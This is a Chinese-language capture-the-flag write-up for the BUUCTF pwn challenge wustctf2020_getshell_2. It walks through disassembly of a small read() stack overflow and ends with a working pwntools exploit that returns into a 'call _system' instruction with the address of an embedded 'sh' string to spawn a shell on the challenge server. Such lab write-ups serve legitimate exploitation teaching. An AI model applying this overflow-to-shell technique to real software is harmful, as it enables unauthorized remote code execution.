BUUCTF-wustctf2020_getshell_2
一、題目來源
BUUCTF-Pwn-wustctf2020_getshell_2
二、信息蒐集
通過 file 命令查看文件類型:
通過 checksec 命令查看文件採用的保護措施:
三、反彙編文件開始分析
main 函數中調用了 vulnerable 函數,點進去查看邏輯:
.text:08048582 public vulnerable
.text:08048582 vulnerable proc near ; CODE XREF: main+16↓p
.text:08048582
.text:08048582 buf= byte ptr -18h
.text:08048582
.text:08048582 ; __unwind {
.text:08048582 000 55 push ebp
.text:08048583 004 89 E5 mov ebp, esp
.text:08048585 004 83 EC 18 sub esp, 18h
.text:08048588 01C 83 EC 04 sub esp, 4
.text:0804858B 020 6A 24 push 24h ; '$' ; nbytes
.text:0804858D 024 8D 45 E8 lea eax, [ebp+buf]
.text:08048590 024 50 push eax ; buf
.text:08048591 028 6A 00 push 0 ; fd
.text:08048593 02C E8 18 FE FF FF call _read
.text:08048593
.text:08048598 02C 83 C4 10 add esp, 10h
.text:0804859B 01C 90 nop
.text:0804859C 01C C9 leave
.text:0804859D 000 C3 retn
.text:0804859D ; } // starts at 8048582
.text:0804859D
.text:0804859D vulnerable endp
不難發現,read 存在溢出的現象,但是溢出的長度並不多,除去無效 padding 部分,有效 payload 只能佔 8 字節。
我們再注意到 .text 段中存在一個名為 shell 的函數,其代碼:
.text:0804851B public shell
.text:0804851B shell proc near
.text:0804851B ; __unwind {
.text:0804851B 000 55 push ebp
.text:0804851C 004 89 E5 mov ebp, esp
.text:0804851E 004 83 EC 08 sub esp, 8
.text:08048521 00C 83 EC 0C sub esp, 0Ch
.text:08048524 018 68 50 86 04 08 push offset command ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529 01C E8 B2 FE FF FF call _system
.text:08048529
.text:0804852E 01C 83 C4 10 add esp, 10h
.text:08048531 00C 90 nop
.text:08048532 00C C9 leave
.text:08048533 000 C3 retn
.text:08048533 ; } // starts at 804851B
.text:08048533
.text:08048533 shell endp
雖説其調用了 system 函數,但是其參數明顯是來搗亂的。
但是,我們同時可以注意到,"sh"字符處於"/bbbbbbbbin_what_the_f?ck__--??/sh"這一長串字符的末尾部分,那麼我們就可以採取“字符串劫持”的手段來提取字符"sh",若服務器端將"sh"放在環境變量中,我們依然可以實現 getshell。
.rodata:08048650 2F 62 62 62 62 62 62 62 62 69 command db '/bbbbbbbbin_what_the_f?ck__--??/sh',0
明顯,我們的字符串 b'sh\x00' 所在的位置是 0x08048670。
四、Poc 構造
我們不能直接使用 system@plt 地址來構造我們的 ROP。
原因很簡單,我們的有效 ROP 只允許我們添加兩個 gadget,但是若要在 32 位CPU架構的計算機中正常調用 system 需要 3 個 gadget 即:
padding + system + fake_ret + arg1
但是,好在 shell 函數提供了新的思路給我們。
我們不一定要“自己構造 ROP 來實現函數調用”,我們可以直接用 shell 中的 call 來實現函數調用,只需要將地址定位在 0x08048529,即:
.text:08048529 01C E8 B2 FE FF FF call _system
從這開始運行,即CPU 默認你在棧上已經準備好了 system 所需要的參數。根據棧溢出,我們很容易實現在棧上準備好這個“參數”。
因此,最終 Poc:
from pwn import *
context(arch="i386",os="linux",log_level="debug")
# p = process("./pwn")
elf = ELF("./pwn")
p = remote("node5.buuoj.cn",25151)
padding = 0x1c
system = 0x08048529
sh = 0x08048670
payload = b'A'*padding + p32(system) + p32(sh)
p.send(payload)
p.interactive()
運行:
成功拿下 Flag!